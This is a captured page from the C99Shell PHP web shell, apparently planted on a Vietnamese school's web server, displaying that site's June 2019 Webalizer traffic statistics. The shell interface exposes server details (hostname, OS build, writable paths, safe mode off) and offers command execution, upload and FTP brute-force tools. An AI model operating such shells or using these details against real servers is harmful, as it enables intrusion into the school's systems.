!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Microsoft-IIS/10.0. PHP/7.4.33 

uname -a: Windows NT LAKE 10.0 build 20348 (Windows Server 2016) AMD64 

IWPD_801(traduongco) 

Safe-mode: OFF (not secure)

E:\thcsltv.edu.vn\.plesk\statistics\thcsltv.edu.vn\webstat\   drwxrwxrwx
Free 226.11 GB of 400 GB (56.53%)
Detected drives: [ a ] [ c ] [ d ] [ e ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usage_201906.html (93.35 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage Statistics for thcsltv.edu.vn - June 2019

Usage Statistics for thcsltv.edu.vn

Summary Period: June 2019
Generated 04-Jul-2019 19:18 SE Asia Standard Time

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for June 2019
Total Hits 962
Total Files 655
Total Pages 367
Total Visits 167
Total KBytes 7895
Total Unique Sites 66
Total Unique URLs 23
Total Unique Referrers 9
Total Unique User Agents 43
. Avg Max
Hits per Hour 1 97
Hits per Day 32 331
Files per Day 21 253
Pages per Day 12 145
Visits per Day 5 30
KBytes per Day 263 3274
Hits by Response Code
Code 200 - OK 655
Code 301 - Moved Permanently 1
Code 304 - Not Modified 119
Code 404 - Not Found 187

Daily usage for June 2019

Daily Statistics for June 2019
Day Hits Files Pages Visits Sites KBytes
1 331 34.41% 253 38.63% 145 39.51% 30 17.96% 16 24.24% 3274 41.47%
2 91 9.46% 69 10.53% 38 10.35% 8 4.79% 11 16.67% 888 11.25%
3 13 1.35% 6 0.92% 6 1.63% 6 3.59% 8 12.12% 19 0.24%
4 24 2.49% 11 1.68% 10 2.72% 6 3.59% 8 12.12% 98 1.24%
5 47 4.89% 19 2.90% 10 2.72% 7 4.19% 8 12.12% 293 3.71%
6 32 3.33% 20 3.05% 14 3.81% 11 6.59% 11 16.67% 633 8.02%
7 8 0.83% 4 0.61% 4 1.09% 4 2.40% 7 10.61% 31 0.39%
8 43 4.47% 29 4.43% 8 2.18% 7 4.19% 9 13.64% 365 4.62%
9 13 1.35% 6 0.92% 6 1.63% 6 3.59% 7 10.61% 282 3.57%
10 30 3.12% 19 2.90% 10 2.72% 2 1.20% 2 3.03% 162 2.05%
11 6 0.62% 2 0.31% 2 0.54% 2 1.20% 3 4.55% 9 0.11%
12 17 1.77% 12 1.83% 5 1.36% 5 2.99% 5 7.58% 78 0.99%
13 15 1.56% 10 1.53% 5 1.36% 5 2.99% 6 9.09% 67 0.85%
14 36 3.74% 23 3.51% 11 3.00% 5 2.99% 6 9.09% 208 2.63%
15 23 2.39% 18 2.75% 7 1.91% 3 1.80% 6 9.09% 145 1.83%
16 28 2.91% 21 3.21% 12 3.27% 5 2.99% 7 10.61% 174 2.21%
17 23 2.39% 17 2.60% 16 4.36% 8 4.79% 9 13.64% 334 4.23%
18 10 1.04% 6 0.92% 6 1.63% 6 3.59% 7 10.61% 15 0.18%
19 10 1.04% 4 0.61% 3 0.82% 3 1.80% 7 10.61% 22 0.28%
20 26 2.70% 15 2.29% 5 1.36% 3 1.80% 4 6.06% 148 1.88%
21 13 1.35% 12 1.83% 4 1.09% 2 1.20% 2 3.03% 96 1.22%
22 14 1.46% 10 1.53% 2 0.54% 2 1.20% 7 10.61% 80 1.01%
23 7 0.73% 4 0.61% 4 1.09% 4 2.40% 5 7.58% 10 0.13%
24 23 2.39% 16 2.44% 7 1.91% 7 4.19% 6 9.09% 111 1.41%
25 46 4.78% 29 4.43% 16 4.36% 10 5.99% 9 13.64% 229 2.90%
26 16 1.66% 11 1.68% 3 0.82% 2 1.20% 4 6.06% 101 1.28%
27 1 0.10% 1 0.15% 1 0.27% 1 0.60% 1 1.52% 1 0.02%
28 1 0.10% 1 0.15% 1 0.27% 1 0.60% 1 1.52% 1 0.02%
29 7 0.73% 2 0.31% 2 0.54% 2 1.20% 5 7.58% 10 0.13%
30 8 0.83% 5 0.76% 4 1.09% 4 2.40% 5 7.58% 11 0.14%

Hourly usage for June 2019

Hourly Statistics for June 2019
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 2 61 6.34% 1 43 6.56% 0 17 4.63% 17 498 6.31%
1 4 129 13.41% 2 78 11.91% 1 56 15.26% 41 1220 15.46%
2 1 38 3.95% 0 19 2.90% 0 10 2.72% 14 409 5.18%
3 1 35 3.64% 0 15 2.29% 0 13 3.54% 11 344 4.36%
4 4 148 15.38% 4 131 20.00% 2 70 19.07% 52 1555 19.70%
5 0 26 2.70% 0 19 2.90% 0 10 2.72% 6 170 2.15%
6 1 56 5.82% 1 46 7.02% 0 19 5.18% 16 470 5.95%
7 2 74 7.69% 1 43 6.56% 0 26 7.08% 27 824 10.44%
8 2 72 7.48% 1 55 8.40% 0 27 7.36% 20 609 7.72%
9 1 41 4.26% 1 34 5.19% 0 13 3.54% 10 288 3.64%
10 0 2 0.21% 0 1 0.15% 0 1 0.27% 0 3 0.04%
11 0 17 1.77% 0 7 1.07% 0 6 1.63% 1 34 0.43%
12 2 83 8.63% 1 52 7.94% 0 26 7.08% 13 378 4.79%
13 0 19 1.98% 0 12 1.83% 0 12 3.27% 3 104 1.31%
14 1 54 5.61% 1 38 5.80% 0 16 4.36% 17 496 6.29%
15 0 23 2.39% 0 12 1.83% 0 10 2.72% 4 126 1.60%
16 0 6 0.62% 0 1 0.15% 0 1 0.27% 1 28 0.35%
17 0 8 0.83% 0 4 0.61% 0 4 1.09% 0 12 0.15%
18 0 3 0.31% 0 1 0.15% 0 1 0.27% 0 4 0.05%
19 0 7 0.73% 0 3 0.46% 0 3 0.82% 0 10 0.13%
20 0 5 0.52% 0 3 0.46% 0 3 0.82% 0 8 0.11%
21 0 17 1.77% 0 13 1.98% 0 6 1.63% 3 77 0.97%
22 0 19 1.98% 0 11 1.68% 0 11 3.00% 5 141 1.78%
23 0 19 1.98% 0 14 2.14% 0 6 1.63% 3 87 1.11%

Top 16 of 23 Total URLs
# Hits KBytes URL
1 348 36.17% 4936 62.52% /
2 46 4.78% 665 8.42% /libraries/js/menu/bootstrap.min.js
3 46 4.78% 1315 16.66% /libraries/js/menu/jquery-3.3.1.min.js
4 46 4.78% 311 3.94% /libraries/js/menu/popper.min.js
5 46 4.78% 32 0.40% /libraries/js/menu/script.js
6 46 4.78% 29 0.37% /libraries/js/popup.js
7 43 4.47% 38 0.48% /libraries/css/menu/bootstrap.min.css
8 43 4.47% 42 0.53% /libraries/css/style.css
9 43 4.47% 27 0.34% /libraries/css/style_p.css
10 18 1.87% 128 1.62% /admin/
11 1 0.10% 1 0.01% /admin/libraries/css/bootstrap.min.css
12 1 0.10% 1 0.01% /admin/libraries/css/style.css
13 1 0.10% 19 0.24% /admin/libraries/js/bootstrap.min.js
14 1 0.10% 38 0.49% /admin/libraries/js/jquery-3.3.1.min.js
15 1 0.10% 9 0.11% /admin/libraries/js/popper.min.js
16 1 0.10% 1 0.01% /admin/libraries/js/script.js

Top 10 of 23 Total URLs By KBytes
# Hits KBytes URL
1 348 36.17% 4936 62.52% /
2 46 4.78% 1315 16.66% /libraries/js/menu/jquery-3.3.1.min.js
3 46 4.78% 665 8.42% /libraries/js/menu/bootstrap.min.js
4 46 4.78% 311 3.94% /libraries/js/menu/popper.min.js
5 18 1.87% 128 1.62% /admin/
6 43 4.47% 42 0.53% /libraries/css/style.css
7 1 0.10% 38 0.49% /admin/libraries/js/jquery-3.3.1.min.js
8 43 4.47% 38 0.48% /libraries/css/menu/bootstrap.min.css
9 46 4.78% 32 0.40% /libraries/js/menu/script.js
10 46 4.78% 29 0.37% /libraries/js/popup.js

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 348 36.17% 166 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 348 36.17% 166 100.00% /

Top 30 of 66 Total Sites
# Hits Files KBytes Visits Hostname
1 176 18.30% 127 19.39% 1476 18.69% 10 5.99% 117.3.128.13
2 127 13.20% 109 16.64% 918 11.63% 6 3.59% ocean
3 118 12.27% 97 14.81% 979 12.40% 11 6.59% static.vnpt.vn
4 87 9.04% 67 10.23% 649 8.22% 10 5.99% dynamic-ip-adsl.viettel.vn
5 61 6.34% 33 5.04% 147 1.86% 23 13.77% crawl-66-249-71-17.googlebot.com
6 51 5.30% 26 3.97% 178 2.25% 16 9.58% crawl-66-249-71-16.googlebot.com
7 31 3.22% 20 3.05% 203 2.58% 2 1.20% dynamic-adsl.viettel.vn
8 30 3.12% 17 2.60% 844 10.69% 8 4.79% google-proxy-64-233-173-153.google.com
9 26 2.70% 12 1.83% 38 0.48% 12 7.19% crawl-66-249-71-18.googlebot.com
10 20 2.08% 6 0.92% 29 0.36% 6 3.59% google-proxy-64-233-172-179.google.com
11 17 1.77% 10 1.53% 534 6.77% 6 3.59% google-proxy-64-233-173-152.google.com
12 16 1.66% 6 0.92% 46 0.58% 1 0.60% 117.3.127.241
13 16 1.66% 15 2.29% 142 1.80% 1 0.60% ec2-35-183-109-80.ca-central-1.compute.amazonaws.com
14 16 1.66% 15 2.29% 142 1.80% 1 0.60% ec2-52-79-137-22.ap-northeast-2.compute.amazonaws.com
15 15 1.56% 8 1.22% 432 5.48% 4 2.40% google-proxy-64-233-173-151.google.com
16 15 1.56% 15 2.29% 156 1.98% 1 0.60% sg24-04-12.opera-mini.net
17 13 1.35% 8 1.22% 151 1.91% 2 1.20% 42.118.96.103
18 11 1.14% 3 0.46% 16 0.20% 3 1.80% google-proxy-64-233-172-177.google.com
19 9 0.94% 1 0.15% 3 0.04% 1 0.60% 117.3.227.112
20 8 0.83% 3 0.46% 29 0.37% 2 1.20% crawl-66-249-79-113.googlebot.com
21 8 0.83% 3 0.46% 205 2.59% 2 1.20% google-proxy-66-249-82-145.google.com
22 7 0.73% 1 0.15% 10 0.13% 1 0.60% google-proxy-64-233-172-175.google.com
23 6 0.62% 4 0.61% 44 0.56% 1 0.60% 117.3.123.60
24 6 0.62% 4 0.61% 7 0.09% 1 0.60% crawl-66-249-79-111.googlebot.com
25 6 0.62% 3 0.46% 12 0.15% 3 1.80% ec2-54-165-90-203.compute-1.amazonaws.com
26 6 0.62% 3 0.46% 204 2.58% 2 1.20% google-proxy-66-249-82-144.google.com
27 5 0.52% 4 0.61% 42 0.54% 0 0.00% 31.13.115.1
28 5 0.52% 2 0.31% 7 0.09% 2 1.20% crawl-66-249-79-115.googlebot.com
29 4 0.42% 4 0.61% 30 0.38% 0 0.00% 31.13.115.6
30 4 0.42% 2 0.31% 137 1.73% 2 1.20% google-proxy-66-249-82-146.google.com

Top 10 of 66 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 176 18.30% 127 19.39% 1476 18.69% 10 5.99% 117.3.128.13
2 118 12.27% 97 14.81% 979 12.40% 11 6.59% static.vnpt.vn
3 127 13.20% 109 16.64% 918 11.63% 6 3.59% ocean
4 30 3.12% 17 2.60% 844 10.69% 8 4.79% google-proxy-64-233-173-153.google.com
5 87 9.04% 67 10.23% 649 8.22% 10 5.99% dynamic-ip-adsl.viettel.vn
6 17 1.77% 10 1.53% 534 6.77% 6 3.59% google-proxy-64-233-173-152.google.com
7 15 1.56% 8 1.22% 432 5.48% 4 2.40% google-proxy-64-233-173-151.google.com
8 8 0.83% 3 0.46% 205 2.59% 2 1.20% google-proxy-66-249-82-145.google.com
9 6 0.62% 3 0.46% 204 2.58% 2 1.20% google-proxy-66-249-82-144.google.com
10 31 3.22% 20 3.05% 203 2.58% 2 1.20% dynamic-adsl.viettel.vn

Top 9 of 9 Total Referrers
# Hits Referrer
1 314 32.64% - (Direct Request)
2 313 32.54% http://thcsltv.edu.vn/index.php
3 303 31.50% http://thcsltv.edu.vn/
4 25 2.60% http://thcsltv.edu.vn/admin/index.php
5 3 0.31% http://thcsltv.edu.vn/admin/
6 1 0.10% android-app://com.google.android.gm
7 1 0.10% http://thcsltv.edu.vn/admin/libraries/css/style.css
8 1 0.10% http://www.google.com/
9 1 0.10% https://www.google.com/

Top 15 of 43 Total User Agents
# Hits User Agent
1 115 11.95% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/79.0.108+Chrome/73.0.3683.108+Safari/537.36
2 69 7.17% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36
3 56 5.82% Mozilla/5.0+(Linux;+U;+Android+6.0.1;+vi-vn;+Redmi+Note+3+Build/MMB29M)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/61.0.3163.128+Mobile+Safari/537.36+XiaoMi/MiuiBrowser/10.1.2
4 51 5.30% Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
5 48 4.99% Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36
6 46 4.78% Googlebot-Image/1.0
7 45 4.68% Mozilla/5.0+(Linux;+Android+6.0.1;+Nexus+5X+Build/MMB29P)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2272.96+Mobile+Safari/537.36+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html
8 41 4.26% Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/80.0.180+Chrome/74.0.3729.180+Safari/537.36
9 39 4.05% Mozilla/5.0+(Linux;+Android+7.1.2;+Redmi+5)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.157+Mobile+Safari/537.36
10 39 4.05% Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.75+Safari/537.36+Google+Favicon
11 32 3.33% CheckMarkNetwork/1.0+(+http://www.checkmarknetwork.com/spider.html)
12 31 3.22% Mozilla/5.0+(Linux;+Android+5.1.1;+A37f)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.157+Mobile+Safari/537.36
13 28 2.91% Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/75.0.3770.100+Safari/537.36
14 21 2.18% Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+coc_coc_browser/56.3.162+Chrome/50.3.2661.162+Safari/537.36
15 18 1.87% Mozilla/5.0+(Linux;+Android+7.0;+SAMSUNG+SM-G935F+Build/NRD90M)+AppleWebKit/537.36+(KHTML,+like+Gecko)+SamsungBrowser/9.2+Chrome/67.0.3396.87+Mobile+Safari/537.36

Usage by Country for June 2019

Top 4 of 4 Total Countries
# Hits Files KBytes Country
1 361 37.53% 266 40.61% 2739 34.69% Unresolved/Unknown
2 348 36.17% 189 28.85% 3166 40.10% US Commercial
3 236 24.53% 184 28.09% 1831 23.20% Viet Nam
4 17 1.77% 16 2.44% 159 2.01% Network


Generated by Webalizer Version 2.01

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6275 ]--